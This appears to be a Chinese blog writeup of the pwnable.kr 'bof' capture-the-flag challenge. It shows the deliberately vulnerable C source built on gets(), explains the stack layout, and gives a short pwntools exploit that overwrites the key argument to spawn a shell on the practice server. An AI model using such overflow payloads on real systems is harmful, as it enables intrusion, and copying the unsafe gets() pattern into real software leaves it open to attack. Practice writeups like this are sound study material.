Pwnable.kr bof [Writeup]

题源

https://pwnable.kr/play.php

Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000

题解

Pwnable的第三道题,很简单、很基础、很常见的一道栈溢出题目。源码直接给出:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

gets函数是标准的漏洞函数,因为其没有检测数组是否越界,因此当输入的字符串超过overflowme的32chars限定时,其余的字符将会继续向上覆写栈。

下载bof文件,先checksec一下:
在这里插入图片描述
基本上开启了各种保护机制。

直接拖到IDA查看func的函数栈:
在这里插入图片描述
可以看出,当输入字符串超过32chars后,其余的字符将依次覆盖var_C(即canary)、s(即ebp)、r(即return address)、arg_0(即传入的参数)。则payload应为2C+8=52字符的padding+p32(0xcafebabe)。

from pwn import *
context(arch='i386',os='linux')

io = remote('pwnable.kr',9000)

payload = 14*p32(0xcafebabe) # 这里懒省事,直接全填cafebabe了

io.sendline(payload)
io.interactive()

执行结果:
在这里插入图片描述

总结

在第一次做时,没有考虑到canary,使用了32+8=40chars的padding。后来checksec一看有canary,就又加了4chars的padding,但还是不行;最后问了同学,放IDA一看,它的canary后面又跟了8个padding(猜想可能是对齐?)最后用52可以的。

懒省事的做法可以全填p32(0xcafebabe),也不一定非要填14(13*4+4)个,也可以是15、16、17……个(但是失去了严谨了乐趣?)


THNKS TO Be33eD XD

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

c01dkit

好可怜一博主,都没人打赏>_<

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值